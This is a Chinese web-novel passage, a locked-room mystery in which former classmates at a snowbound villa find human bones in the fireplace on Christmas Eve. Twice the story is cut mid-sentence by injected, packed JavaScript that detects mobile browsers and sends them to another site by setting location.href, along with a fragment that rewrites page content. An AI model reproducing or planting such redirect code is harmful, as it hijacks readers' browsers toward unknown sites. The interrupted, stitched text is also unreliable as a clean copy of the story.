《殺人话剧集》 1. 圣诞节与暴风雪山庄-上-1 圣诞节前的某个周一,小象工作完成前收到了一条陌生来信,当时她正忙,就只是匆匆扫了一眼。 那是一份邀请函,相似内容的邮件她在那几天至少收到了几十份,同事催促,她并没有仔细阅读其中内容便合上了手机。待她再想起有这么一份邀请还在等待她的回应时,时间已经来到了圣诞节前夕。 【好久不见了! 我是小一,高中四年说长也不长,不知道你们还记得我不?长话短说,今年的圣诞节我突发奇想组织一次高中同学会,于是我们,好吧其实也就我和小二在暴风雪山庄准备了一个派对,并邀请一些老朋友来玩!如果你今年圣诞节没有计划,一个人,离这不远,又正好和我一样有些想念老朋友,那就来找我们吧!我们会在山庄里度过与世隔绝的三天,当然Wi-Fi还是有的,但我保证来这后你不会沉溺于互联网之中。我们两个准备了一份神秘惊喜,保证每个见到的人都会发自真心地感谢自己的决定。 当然,我们也准备了圣诞树,桌游,火炉,红酒,糖霜蛋糕以及有关圣诞节的一切!让这三天代替旧日子成为能代表“老同学”一词的回忆吧,我也迫不及待地想看看如今的你们了。期待你们的到来!当然,不来的人请随意无视这条短信,我不会追究理由的! ——小一】 圣诞节是定期于每年12月25日的法定国际假日,用于纪念一位并非于此日期降生的神子,与2012年在此日期过世的一位现代圣人。 高中,这个词所代表的东西对小象而言实在是模糊,而小一,小二,这两个人对她而言几乎就是两个陌生人。 “暴风雪山庄…”小象重复了这个词,相当不吉利的名字,于是她有印象,该派对馆建筑群就位于她现在所在城市的近山郊区,因其命名而在多年前受过一段时间的关注,尤其备受推理爱好者的喜爱,很遗憾近年间并没有任何命案的消息。可能也是因为这一点,这几年已经听不见它的名字了。 没有圣诞计划,没有伴侣,位置方便,条件都符合,除去最后一项,但小一小二也没办法剥开小象的脑子看看她到底想不想见见老同学吧?扪心自问,小象对于“同学会”并没有兴趣,但她对神秘惊喜,以及“暴风雪山庄中的同学会”非常感兴趣,于是她要去。 现在时间是圣诞节前夕的清晨,温度回升却依旧是零下,小象打包好三天的行李塞进后备箱后开车前往目的地,三小时车程让天空又逐渐飘起雪来,在能见度受到影响之前,她将车停在建筑群外围的停车场。这儿空得很,山林环绕之下,除了她以外就另两辆在停,她看去,一辆有些年头的SUV和一辆扁扁的普通五座朋友似的靠得很近。小象没在停车场找到别的人或入口,就拉着的行李箱,直接跨步进入没关的铁栅栏门。 园区内每栋建筑都被独立在高而密的灌木围墙后,从外围看到屋顶都难。内部路狭小,没法也不被允许开车,只能步行或搭载园区专属的小型运输车,栅栏门停着几辆这游客搬运工,但不知为何没人看着。小象在周围找了一圈,又沿着园区小路走了近半小时,直到她站在那短信中标注的门牌号前,她都没看到任何一个人。 天边灰白茫茫一片,雪要下大了。 手机没有信号,有Wi-Fi但没密码也进不了门,她看着那显然从此方向无法打开的铁门,心想自己不该为了吓那群人一跳而故意不提前通知自己要来的。 她尝试敲门,铁块发出闷闷回响,作为门铃音量够呛。就在她考虑折返前,门内传来了脚步声,踢踏踢踏,那是拖鞋的跟。 早知道不带拖鞋来了,小象这样想着退后一步,配合的铁门吱呀一声开了,噪音带动铁的锈味,同学会的第一次会面就此诞生。 开门的是一位看上去感觉很忙的陌生人,小象不记得这位身穿绿圣诞树毛衣,带着黑框眼镜的忧郁青年该是高中班上的哪位了,显然这位也不记得她,于是二人面面相觑,跟没提前说好似的不知道下一步该干什么。 可不就是这样吗?小象取出箱子里的包裹递出,微笑开口道,“我是小象,好久不见了,这个是带给你的。” 那绿条红盒中是一套蜡烛,剪开包装缎带的人最好不要放下剪刀,因为还有至少三层包装要拆。 “…小象?”青年接过礼盒,呆楞片刻,随机表情切换为恍然大悟,“小象!我完全没认出你啊!”她抱住盒子,空出只手扶了扶眼镜,腼腆的笑容中带着些许不好意思,“我是小二,还记得我吗?咱俩以前好像没什么交集来着…” 她的问候很快就弱化为会被归进白噪音中的喃喃自语,显然小二并不是个多擅长打招呼或接待客人的人,她的表情和语言都说明了这一点。 但此时来应门的却是这样的她,小象摇了摇头道,“其实我也没认出你,或者说,来的人中有谁能认出你吗?” “确实没有…”小二尴尬地笑了笑,连忙侧过身招呼道,“来,快进来吧,走进来可远了吧,这大冷天的…” 随意应着有的没的问候,小象进入铁门,前方不远处,那棕色的二层尖顶木屋便是派对所在地。步入石板路,身后大震,那是铁门合拢的声音。小象回头看见不远处,小路分叉的另一边尽头也有建筑存在,同样尖顶的木头建筑比主屋小许多,小二介绍说那是仓库,用来存放柴火之类的杂物。 二人一边寒暄着一边朝内走,小象询问了一番派对构成与现场情况,小二一一进行了答复。目前屋内已有五位成员,小一到小五,加上小象这位没提前通知过的作为第六位,一共会有七位老同学齐聚于此。 “七位?”小象疑惑问道,“还有哪位?” “小六说她会来。”小二语气有些担忧,“但…她是从外地过来的,下了火车还要坐很久的汽车呢,而且…今天晚些时候要下雪了。” 小六对小象而言完全是个陌生人,不过比起这个人,这用词令小象有些在意,她问道,“会下很大的雪吗?” 闻言小二顿了顿,叹了口气回答道,“天气预报说是暴风雪,雪天路滑不说,园区里头的小路如果被雪埋了,那得等工作人员上班了才有人扫。而且…” 说到这她又停下了,回头看向小象,相当刻意地换了个话题,“刚才有人敲门,我还以为是她终于来了呢,没想到居然是你。” “那早知道我就说我是小六了。”小象点了点头说,没在此时追究那个被强行掩盖过去的话题。 “哈哈哈!”小二笑了。 或许是天色够暗,离晨昏线还有一段距离的木屋内已经亮起了暖光。这是一栋从外看上去有些令人担忧的老木头房,联想到今晚的暴风雪,小象非常担心断水断电的情况发生。但小二显然毫不担心这一点,她热切地推门入内,客厅内里的砖炉火势正旺,暖意泄出,客厅里多得是人。小象环顾一圈,除去未到的小六外,这里还少了一个。 “小一在厨房烤蛋糕。”小二乐呵呵地说,“她说一会大家一起玩,蛋糕要摆在桌子正中间才有气氛。” 她没有介绍各位身份的意思,小象点了点头,简单放好行李后便在客厅空沙发坐下了,这屋内比她想象中的要更适合即将到来的节日,比天花板矮一些的圣诞树挂满彩球与雪花,顶端的五角星照耀下,暖意烘得柴火与骨头一起嘎嘣作响。 “你是…”那斜在摇椅上的盘发青年眯起眼睛看了过来,踌躇片刻后确定了人选,“小六!对吧?” “错了。”另一边盘腿坐在沙发角落织毛衣的青年头也不抬地说,“小二没说‘人到齐了’,所以不是小六。” 她带着明显是自己织的针织帽,抬起眼皮看了眼小象,也就一眼,那视线又回到稳定有序的线性逻辑体上去了,她随意地问候道,“我是小三,不好意思我不记得你是哪位了,总之好久不见。” “额——”摇椅上的那位如被打败了一般瘫了回去,声音也怠惰了起来,“好吧…我是小四,好久不见,来的路上很冷吧?快来坐。” 还有一位没自我介绍过的就一定是小五了,小象看向那跪坐在地毯上全神贯注投入姜饼屋制造大业的青年,问道,“还有谁想猜猜看吗?提示,我不是小七。” “还有谁”的唯一指定对象,也就是小五一言不发,她在屋内也带着手套,连眼神都没给过来,只是继续小心翼翼地挤着奶油霜。 “好吧。”小象挤出了一幅街头人性游戏爱好者的嘴脸叹息道,“我对你们很失望。” “…难道说猜对了会有奖励?”上钩了的小四扭过头问。 “没有啊。”小象说。 “现在我也很失望了。”小四失望地说。 “哈哈。”小象笑了。 派对正式开始前的热场时间,针对天气的谈话让时钟指针转得很快,客厅沙发群角落一扇门踩着对话的尾巴被推开,服饰还身处春夏季节的青年两手端着一盘平底铁锅,那是屋内甜香气氛的来源,金黄色糕体顶着雪白糖霜,配合青年的喜悦笑容散发梦幻气息。 见此,小二起身道,“蛋糕终于好了,大家稍等,我去拿刀叉。”说着她跑进了厨房里,小象趁机看了眼那门内,烹饪空间可以称得上宽敞。 手捧蛋糕的人伴随香气靠近,小象看向那位显然应该是小一的蛋糕烘焙者,如同理发期绵羊般的卷发吸引视线,蓬松得没个梳理头绪,小象一边收拾客厅桌面一边问道,“你好,谢谢,不过我们不等那位小六了吗?” “这天都要黑了,今晚大雪预警高速会封路,虽然很可惜,但我们大概是见不到小六了。”小一夸张地惋惜道,将蛋糕放在那姜饼屋的隔壁,糖粉震颤,她拍了拍手套后双手叉腰,看着小象笑到,“那么,请问你是我的哪位老同学呢?” 几人聚集在客厅各自就坐,自我介绍配蛋糕。 “那么就从我开始吧!我是小一,现在是摄影记者,不过我基本只给自然杂志供稿所以没什么八卦讲给你们听啦。这几年我可以说哪都去过,奇闻逸事之类的倒是很多储备哦。”小一一边给棉花糖串木签一边说,一刻也闲不下来,她身型健壮,显然常年活得健康,“谢谢你们愿意来这陪我过圣诞节,再看到你们好感动…说实话我原以为没人来呢…不过当初几十个人居然就只有我们几个还是孤家寡人的,该说什么呢?” 谈话间,她随意地将自己那五彩斑斓五光十色璀璨夺目的手机背面朝上摆在蛋糕盘边,那手机壳上镶嵌了太多装饰,吸引了所有人的视线。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296721|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你一个记者,手机壳倒是花里胡哨的。”小四评价道。 “哈哈,装饰而已啦!”小一随意地摆了摆手,她倒是完全不在乎自己手机的安危,半个机体掉出桌边了才去扶。 “总感觉你变了很多,我都认不出你来了。”小三还是在织毛衣,头也不抬地说,“不过十几年,不变才奇怪吧。” “我才想说!”小一一惊一乍道,“我基本上没认出你们中的任何一位,报了名字才…啊不过小四和小五倒是一直这样,发型都没变过。” “潮流太麻烦了,我工作很忙的。”小四点了点头,理了理自己盘起的头发,换了个姿势靠着。 “…”小五依旧在聚精会神地搭建姜饼屋。 “我倒是有认出你们之中的一些啦,不过你们没人认出我呢。”小二腼腆地笑了笑,她比起小一就显得没那么适应户外环境了,或许是因为毛衣宽大,这位带着眼镜的青年和小一相比显得瘦弱,而且小象注意到她走路坡脚,似乎是腿上有伤。她细细地看了一圈几人的脸,开口道,“我是小二,大学学了文科后来去读了研,现在在读民俗学博士,最近在给论文取材,不过怎么说呢,基本上算是闭门不出吧哈哈哈…” 她的声音越来越轻。 “民俗学…”小象对这个陌生的东西感兴趣,“大概是什么样的研究呢?” “诶这个。”小二被问道一下子紧张了起来,手指捏着眼镜角,表情和语气漂浮着,“什,什么都有!主要是沿海地区的人文与本土宗教什么的…我们学院的人都倾向于亲自取材但之前有个学姐失踪了后导师就不让我们个人行动了哈哈哈好吧其实只是我不想出门…” 语速越来越快声音越来越轻,小象都不知道该怎么阻止小二继续说下去。 “好啦,我来自我介绍一下。”小三抬起头,从桌上摸来自己的眼镜带上,环视一圈开口道,“我是小三,目前的职业是作家,正好来这个城市参加一场活动,收到短信就想着过来看看。” “是这样啊!那还真巧啊…”小一感慨着点了点头,“说起来,我们应该都对你没什么印象,因为当年你高一没读完就转学了。” “这样啊。”小象对这件事完全没印象,或者说对这个人,“那你还愿意来这。” “顺便取材喽,作家总是缺灵感的。”小三摊手,“暴风雪山庄诶,不觉得和作家很配吗?” “…哇。”小四感慨道,“好不吉利,也考虑一下现在身处其中的我们吧。” “哈哈哈!”小一得意地笑了,“那你就好好期待一下暴风雪吧!” “我来转换话题!”小四坐直了点,但即使如此脊椎依旧不健康得肉眼可见,她开口时声音是沙哑的,看上去非常需要休息和睡眠,“总之,我是小四,在市区那块的一家新媒体公司上班,给亮晶晶的商品打广告什么的。圣诞节我们公司居然要去甲方那边团建!?于是收到短信我就决定要来了,圣诞夜看见你们总比看见同事好不是吗?” “…圣诞节团建?”小三摸了摸下巴,“你们的公司文化是那种,把同事当家人之类的那种吗?” “对就是那种!”小四连连点头,“但是还搞领导崇拜文化,没想到吧?” “何等恐怖…”小二感慨,“家人的话,果然应该平等一点才对啦。” 此时,小五终于完成了她的建筑师大业,她狠狠松了口气,泄气般忽地向后摊在了沙发上,这才有空看向周围的人,“来了这么多人呢。” 那姜饼屋看着基本上是这栋木屋的翻版,工程量相当大,是小五一个人拼完的。 “搭完了?”小三看向饼干堆叠处,“一下午了也真亏你有耐心,能吃不?” 小五没对此言论表达不满,随意摆了摆手,“吃吧。都好久不见了,我来的时候屋里就仨人,没想到会有这么多人来。我是小五,做建筑规划的,本来这两天要加班的但凑巧有空。圣诞节去哪都一样,不过能见到你们还挺有意思。”她似乎不太擅长微笑,利落短发下勉强牵起的笑容僵硬奇怪。 “仨人?”小四从房顶拆了了块饼干,咬了一口问道,“我是和小三一块,让小一她们接来的,除了她们两个,你就是第三个人吧。” “…嗯?”小五顿了顿,摆了摆手随意道,“那可能是我看错了吧,我一来就在拼这玩意了,没注意到身边环境很正常。” 她这话说得好像没什么大不了的,但小象看向越来越黑的天,不知为何无法轻轻略过。 小五倒是完全没再纠结于自己提出的疑点,她凑到了小一边上看着她分蛋糕,“这玩意也是我一来就在烤了吧,居然要这么久…” “你来的时候还在热烤盘,这种蛋糕只是看着简单,做起来步骤可是很复杂的。”小一得意地说,“你闻到的是烤黄油的香味,我用的可是相当不错的黄油!” “那就剩我了?”小象看了一圈,开口道,“我是小象,职业是国际物流,就是到处给人送包裹的。这次也是凑巧了在这座城市停留,我今早才看到的短信,感兴趣就来看看,圣诞节之后我就得走了。” “那还真是…”小二笑了,“太凑巧了,不然我们这次可能就四个人,这么大个蛋糕可吃不完。” 2. 圣诞节与暴风雪山庄-上-2 几人分食着蛋糕,各自聊起这几年的生活并夹杂着些许抱怨,以十年为基础,这里的每个人都走了一段截然不同的道路。 “说起来,为什么你会去当记者呢?”小四看向小一问道,“当时我们都以为你会自己去创业呢,毕竟你们家有钱,老师都说你适合自己当老板了。” “职业原因?”小一仿佛没预料到这个问题,闻言顿了顿,笑着抓理脑袋后面撬起的卷发说,“诶呀…就,也没什么特殊的原因啦,至少做这个很自由不是吗?哈哈哈…” “现在创业可是很困难的。”小五叹了口气说道,“大概六七年前,我们大学毕业没多久那段时间,不是出了起金融诈骗案吗?那件事之后所有国家的相关监管都严格了很多,特别是银行这边,我们的工地也是…” 这件事小象确实知道些,有个团队假借软件开发做非法借贷,做空公司,前前后后套了进六个亿后在六年前的二月人间蒸发了。它的受害者遍布全世界各行各业,有一处地产开发更是因为这件事直接停工。受害者组织游行,联合银行监管会和金融特种组到处都抓不到人,新闻一播又很快上升到暴力游行,直到现在都偶尔能看到新闻。 说到这里,小五缓缓停住,看向桌上逐渐沉默的大家,无奈道,“好了,不谈这些沉重的东西更好,同学聚会别被我搞砸了。” 话虽如此,小五沉重的脸色直接解释了她的心情,小一却像是完全看不懂一般笑着问道,“怎么不说?和我们聊聊嘛,说出来才轻松。” 小五抿着嘴不说话,桌面一时安静了下来,小三开口道,“那就不说沉重的部分,有没有什么有意思的东西能让我找找灵感的?” “关于工作的话题难道还有轻松的?”小四笑了,“不过,你说的这些我确实没什么感受,离我一个打工的太远了。” “这可不好说,影响可是潜移默化的。”小三提起一根手指说道,“你是广告从业者的话应该能感受到吧,这几年业务的体量越来越小,形式也改变了许多。” 小四不由得沉默了。 小象听着也不由得感同身受,“我现在的业务内容和以前相比也变了很多,说是送货员,但一路上的手续文件也都是我在处理,可能是因为这个吧,最近和警察之类的人打交道的机会也变多了。” “…业务啊,我跑业务的时候发现很多小公司都开了内部的公关岗,用RNS做点视频什么发到网上的,效果…说实话确实不错,愿意花钱找我们的人也变少了。公司裁了好多人又招新的,新的来了待不了多久就会走…我们老板也是可怜,现在在到处借钱呢。”小四揉了揉眉心,“诶,话题还是变得沉重了起来。” RNS,全名为红点导航服务的人工智能,由巴别塔科技开发并公开免费使用,诞生最初的主要功能为会议记录,现在几乎已经能做到人工能在网络上做到的有逻辑的一切了。 “嗯…我听着倒是像在听故事。”小二撑着脑袋说,“大家都不容易啊。” “毕竟你还是学生呢。”小三有些羡慕地说,“听我们这么说有提前感受到压力吗?” “哈哈哈…”小二挠了挠脸,“压力什么的…其实我也不是很缺。” “毕竟我们读书的时候也觉得压力很大嘛。”小一赞同地点头,“虽然我不清楚,但你们不是要写什么,论文什么的吗?” “我的想法不重要,主要是得符合导师的想法,也有人际关系什么的,不如说这部分更麻烦点。”小二说,她的话引起了所有人的共鸣,人苦人久矣。 “…无论是在哪,名号多厉害的组织都有这方面的问题吗…”小三说着,像是被话题影响到胃口一般放下了手里的叉子,“学校,家庭,职场,不过这也是经久不衰的写作主题,永远有得写的。” “哦…那你是写什么的呀?”小二凑过去问道。 “嗯…纪实,人物传之类的?”小三摆了摆手,“我没什么名气的,而且还没有出版自己的书呢,说是作家更像是个普普通通的写手而已。” “诶…那不是挣不到钱嘛,你靠什么吃饭的?”小一好奇道。 “有个收入还不错的副业。”小三笑了笑说。 “那不如把作家当作副业好了?”小四说着笑了,“还是说觉得作家比较体面?” “对哦,当作家的话会有人管你叫老师吗?”小象好奇问道。 “…等我有名气了可能吧。”小三无奈道。 “要说体面还是得看我们小五。”小一又笑嘻嘻地凑过去问小五,“你们工地可大了吧,要不是这次机会,以后想见你可就难喽。” “…还可以吧。”小五僵硬地回答道,并到此为止,她不愿再透露更多关于自己职业的信息了。 “哦…”小一有些意犹未尽地点了点头。 小三疑惑地看了眼小一,问道,“你一个记者这么关心人家工地,不会是想着要挖出点什么东西来吧?” “诶呀!”小一惊讶地像是这才想起来还有这回事一样,连忙摆着手解释道,“没有没有,哪能对老同学下手呢?烦心放心!” “…行吧。”小五语气松懈了些,又说,“我也不是怀疑你…” “主要是记者,对吧?”小四笑了。 “说起来,小六是个什么样的人呢?”小象问道。 “嗯…小六啊,她在班上就很受欢迎呢。”小二捧着酒杯说,“挺热心的人,我记得当年她还帮我值日过。你们都不记得她长什么样了吧,不过你们如果见到她的话都会喜欢她的,那是个相当亲切友善的人。” “嘿嘿。”小一笑了,她晃着酒杯感慨道,“她要是来了我们还能玩狼人杀呢,现在顶多打牌了。” “那个,说起来,那个啊。”小四凑近了好奇道,“那个神秘惊喜到底是什么呢?” “圣诞节才能说。”小一保持了神秘,“等一等圣诞老人吧。” “火炉点着圣诞老人进不来吧。”小三说,“不过火炉熄了可就问题大了,这里有电暖吗?” “嗯?”小一想了想说,“我还真…”她看向小二问道,“咱这有电暖吗?” 该问题因重要性而压下其它,成为了几人的注意力集中处。 “我想想。”小二顿了顿,思索着说,“我没看到控制器,应该是没有吧,不过电灯电热水器之类的倒是有,厨房也有煤炭,就让炉火一直点着吧,烟囱很大,不用担心中毒。” “这个火,真要熄灭也很难吧。”小五看向炉火,“点起来也难。” “对吧!”小一连连点头。 几人一同度过了热闹的晚餐时光,天黑后风刮窗,果然是下起了暴风雪。好在屋内火炉燃得正旺,小一上楼拿了毛毯分给大家,暖意包围下,几人一边喝着热酒一边聊天,十几年时间带来的距离感便在酒精与香料的气息中被消解了。客厅中的餐盘被挪走,现在是桌游时间。 “这雪可真大…”小四感慨,又担心道,“柴火应该够吧?” “够的够的。”小二点头,“仓库里准备了至少七天的量,食物也是,放心吧。” “毕竟是开派对的。”小三没打牌,她旁观着,偶尔低头织毛衣,“总不能真的让我们自己想办法活下去。” “好吧,看来我运气一直都不太好。”小五输了牌,干脆站起身靠近炉火蹲下,伸出手烤火,惬意地说,“不过说到圣诞节,果然还是这样更有氛围吧。” “小心燎到眼睛哦…”小一提醒道,她和小四聊着喝了几杯后有点醉了,几乎拿不稳手里的牌。 “说起来。”小象捧着所剩无几的牌,趁氛围不错开口道,“小二,先前你说了天黑后小六没法来这里,应该不止暴雪一个理由吧?” 被提问后,小二一愣,她看向窗外,抿了抿嘴后小声开口道,“听说,只是听说哦…” 她将头又低了些,声音几乎被风雪盖过。 “这里的森林里,可能会有狼出现。” 屋内一时只有火柴爆炸的声音回应她。几人纷纷回头,小三也不织毛衣了,小四也不看雪了,小五也不烤火了,倒是小一似乎没听懂一般晃着脑袋。 “那我之前看到的…”小五摸了摸后劲,低声道,“不会吧。” “…虽然这里确实是郊区吧。”小四有些牵强地笑了说,“狼什么的…是不是有点夸张了?这里好歹算是有很多年历史的娱乐场所,总该排除这种隐患吧。” 说着,她求证般看向旁人,“对吧?而且窗户那么高呢,狼可不会飞。” “也是。”小三看上去完全没被吓到,抬起头看向窗外说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“诶,诶总之。”小二有些仓促地说,“大家不用担心,仓库和主屋有一段距离呢,而且开门要钥匙的,钥匙都在门口那放着,咱们要去就一起去吧,明天早上要去拿木材,到时候得至少两个人去铲雪推车呢!” “体力活啊…”小四瘫回了沙发上,“也不错啦,偶尔运动一下对身心有益。” 几人换了个话题后继续开心聊着,在暴雪之中,她们短暂地成了世界上最了解彼此的人。临近半夜,在揭晓神秘惊喜的真身之前,小一提议让大家每个人许个愿。 “我自己先来!”小一摇摇晃晃地笑着说,“我希望,大家都能希望我们准备的惊喜!” “…这个是不是不应该说出来?”小二无奈道,她思索片刻说道,“那么,我希望大家能一直这样彼此理解,成为永远的好朋友吧。” 听了这话,小三摸了摸胳膊,“哇…好肉麻的愿望。我的话,那就希望能遇上仅仅是写下真相便足够吸引人的故事吧。” “许愿啊…”小四撑着脑袋,有些漫不经心地说,“我希望我们公司对头赶紧破产,圣诞老人会受理这种愿望吗?” “我如果哪天有空帮你问问。”小象说,“我希望世界和平。” “…这个,有点难为圣诞老人了吧。”小二沉默片刻后说。 “反正我先许愿。”小象无所谓,“实现了最好,圣诞老人做不到我也不会多失望。” “那你等着吧。”小三笑了。 “好了好了,神秘惊喜…对哦还有一个人。”小四抬起头,“小五呢?” 几人这才意识到,火炉边蹲着的小五已经很久很久没有开口说话了,她的话本就不多,暂时失联也没人在意。难道是一氧化碳中毒?这样想着,小象起身朝小五看去,却看见她几乎是僵硬地坐在火炉边上的地毯上,双肩颤抖,双手撑地,如同要跑走却又使不上力一般。 火炉中,火焰颤抖着,挣扎着,跳动着。 “…你怎么了?”小象皱眉走到小五身前,却看见明明是在室内,皮肤黝黑的小五此时表现得不太对劲,她面颊缺少血色,留着冷汗,像是生病了一样。从正面看她的颤抖与僵硬更加明显了,听见小象的问候,她如才想起要呼吸一般深吸口气,倒着向后爬退了些许,抬起手,想指些什么,头却转开看向一边。 “…那边。”小五偏着头,声音轻到几乎不可闻,“…火堆里…有…” 小象一愣,顺那恐惧所冲方向看去,只看见了火焰与火焰所燃烧之物,那是漆黑的木材,几段枯枝,以及—— 以及小五所恐惧的东西,她认出了那是什么,所以恐惧,很快,她用颤抖的声音揭晓了答案,“那个东西是——” 那柴火下露出一角的,是远比木柴更圆润,更难以燃烧的,纤长的白骨。 3. 圣诞节与暴风雪山庄-中-1 木屋内没有电暖,炉火灭了所有人都得冻死,窗外风稀里糊涂地吹,屋内没人动。 但就让火化这样持续下去也不行吧,这里又不是火葬场,小象这样想着去厨房拿了碳夹将那根惹眼的骨头捡出。靠近之后她才辨认出那股蛋白质烧焦的味道其实并不属于烤鸡,脚边,碳化的不知道什么落在地上脏了一点点地板,她避开跳出的火舌与星点将那带着焦黑痕的长骨晾在地板上,又接着去柴堆里扒拉,很快又挑出了大大小小长长短短的一堆骨头。 即使在暖火光下,那勉强还算得上完整的骨头也拥有独一份的灰白,耷拉成一堆,对圣诞节前夜派对无动于衷,冷眼凝视因它而诞生的僵局。沉静之下,总算有人因受不了这氛围而站了起来。 “…确实是人骨。”小三留着冷汗确认了这一点,“之前警局查纵火案,我朋友给我看过取证照片,很相似。这个…还没有碳化,这个程度的应该…应该是最近才被扔进火炉里的。” 第一发现人小五现在正一边大喘气一边干呕,显然她也是“人骨”的第一目击者,小象有些好奇她的想法,但现在让她发声有些难,现场也没人有空照顾她或她的情绪了。 “报,报警啊!?”小四根本不敢靠近火炉边上,她根本不清楚发生了什么,但也从小三的语句中知晓了大概,“怎么会有这种事…总之先报警吧,别碰那玩意了。” 像是被她提醒到,现场几人纷纷掏出自己的手机查看,原先那虽然不是满格但一直稳定的Wi-Fi信号在此时消失不见。 “…没有网络信号。”小二也离火炉很远,但她脸色难看应该并不是寒冷所致,“怎么会,怎么会没有信号的…这里的网从来没出过问题才对…”她连忙看向小一,却看见了一个被酒精干涉过多思维的人状生物。 “什么叫没有信号?!”小四恐慌而愤怒地拽起了小二的毛衣领子,“我不喜欢这个惊喜!喂别开玩笑了赶紧报警,报警啊!!” 小二的眼镜滑落在地面上,她双肩缩起,怯懦地小声重复道歉,但信号就是没有,Wi-Fi不知何时起也消失了,电子产品短暂地变成了一些声光电废铁。 最该清楚发生了什么的人,派对组织者小一完全在状况之外,她应该是喝醉了,坐在椅子上,迟钝地晃着她眼中的世界,无论小三小四怎么问都只能得到一些似是而非的应答声。 手机上网络信号确实不再,小二说不知道路由器在哪,假如说这是谁的恶作剧…小象回忆起不久之前,几人多少都离开座位去过卫生间或厨房,但都没有离开过一楼空间。 “…还有什么发现吗?”小三还算冷静,她拿出手机给那些白骨拍照,走向火炉边问道。 “你会验尸?”小象问道,反正她不会验尸,看见骨头也不会将其联想到尸体上——她没怎么见过焦尸,如果这是具带肉的那她大概会吓一跳吧。无知也令她有了能继续在这扒拉柴火堆的力气,她看向小三,这作家看上去还算冷静,就不知道心里是怎么想的了。 “…我不会。”小三看向地上的骨头,声音有些僵硬,“但如果是死很久的尸骨,有些特征我能认出来,那样的话…” 那样的话,她们就能将“从火炉中发现人骨时凑巧失去了与外界联络的手段”这件事视为一次不太幸运的遭遇。比如说,其实是派对馆管理员在收拾柴火时,不小心将不知从哪挖出来的陈年老尸骨混入其中,又被粗心大意的小一扔进了火炉里…之类的,总之与她们关系不大的事件。 但若相反,那事情就麻烦了。如果这是一位新死者,那么其身后事或多或少要影响到她们的圣诞节及后续安排。 “对啊,对啊!”小四像是听到了火化费用有天大的折扣优惠般,露出勉强的笑容,“这种郊区多的是那种,莫名其妙死在这的人的尸体什么的,对吧?” 没人应答她,小五在屋里走来走去找信号,小三站在一旁思索着些什么,小二正焦急地试图唤醒小一 ,小象还在扒拉柴火堆,但她想找的目标一直没有出现。 “还是没找到吗?”小三皱着眉凑近了些。 此时让小象忍着热浪在火里淘金的神秘存在是一份头骨,不知是幸运还是不幸,她一直没找到它。 “有没有可能被烧掉了?”小象也皱眉,火星几乎烧到她的头发了,而且不知道是不是她的错觉,她隐约看见火炉深处有个巴掌大的不明物体。 “…头骨没那么容易碎。”小三伸手要接过手套和夹子,“给我,我试试。” “行,那里面好像有个东西你找找。”小象站起身,回头看向小一,小二,小四以及小五,最后一位离她最近,先从她开始询问吧。 这位在小象背对众人的时间里从慌乱中缓过来了,转而变得急躁,此时正一般低声叫骂一边操作手机,见小象走来,便抬起头紧张地问道,“你找到了什么?” “还不清楚。”小象摇了摇头,问道,“你怎么看到就知道那是人骨的?” “…工地上见过,就知道。”小五含糊地说着,深深叹了口气,“这都什么事啊,网怎么还出问题了…” 听语气,对她而言后者在此时更严重些,或许对几人而言都是如此。自从蛋糕上桌后大伙就很给面子的都没再玩手机,信号的消失时间还是个未知数。由于小一现在缺乏解释能力,作为其次选择的小二受到大量质疑,她重复解释的模样看上去焦头烂额,毛衣上的圣诞树都要脱线了。 “说起来。”小象想起了这人之前的言辞,好奇道,“你说自己来这的时候见到了三个人,对那第三个真没印象了?” “…没。”小五回忆着说,“我是自己开车来的,进屋的时候我就看见远处好像有个影子。当时我想屋里厨房里有人在忙,楼上有脚步声,所以才推测是三个人。不过现在看这不一定,因为我没有特意确认过。” 说着她看向自己的手机,苦笑着说,“现在看来,我当时就该去看看那到底是不是人的,搞不好就是那家伙故意断了我们的网。” 小象点了点头,按理来说,最初小一和小二应该就在屋内活动,而后来的人都有旁人看过其见过出入主屋的过程,多出来的那人身份未知,因为大雪她们也无法出门确认。现在尸骨身份未知,多出来一个可能在室外活动的人也是个恐怖故事,尤其室外还有仓库,小二还说仓库还有电锯。 不如说,如果那是一头狼反而更让人安心点吧,小象心想。 “你说什么?!”小四显然也意识到了这件事,她本来也有些醉了,现在像是被大雪浇头一般完全清醒,她脸色苍白语气凝重,“你仔细想想到底有没有这件事啊!” “都说可能是我看错了!”小五不耐烦地说,“你这么急干什么?巴不得我们出事?先修好网络问题才是重点吧。” “能修好我还来问你?”小四气急,二人为着到底是谁导致现在这幅局面而争吵了起来,差点就要动手。小二试图劝架,但她有气无力的语气反倒是火上浇油了。 那么接下来问问她好了,小象朝小四问道,“你是和小三一起被小一和小二接来这里的吗?同一时间?” “…是。”小四声音带着些警惕,“问我这个干什么,那些骨头,真是人骨?你们别是搞错了来吓我的…早知道就不来了。” 听了这句话,小二张开嘴,最后什么也没说。 “我也希望是恶作剧。”小象说,“你来的时候时候天色还挺亮吧,你有看过周围环境什么的吗?” “…确实。”小四冷静了一些,思索着说,“我把行李放上楼的时候还从窗外看了,附近空荡荡的,除了树林什么都没有,外头除了仓库就只有旁边的一口井,那口井还盖了盖子,很奇怪所以被我记住了。” 小象看向小五,“你看见的人影是在哪里?” “大概是在井的方向?”小五迟疑地说,“说实话真有可能是我记错了,我视力不太好。” 小象点了点头,走向小二,友好地问道,“这就是你们准备的圣诞惊喜吗?” 小一还眩晕着,小象见过一些醉得比她严重的人,几人内没有医生,要指望醉鬼开口说话只能等她自然醒了。现在知道的最多,最可疑的人就是小一了,小象不确定她是否是故意让自己醉酒如此,好来惊吓她们的。 “…不是啦。”小二深深叹了口气,“抱歉,真没想到会有这种事发生,这也是我第一次来这种地方,不知道还会有这种事情发生,抱歉…” “一开始小五来之前,这里真的就只有你们两个人吗?”小象比较在意这个,问道,“然后你们两个都待在屋里。” 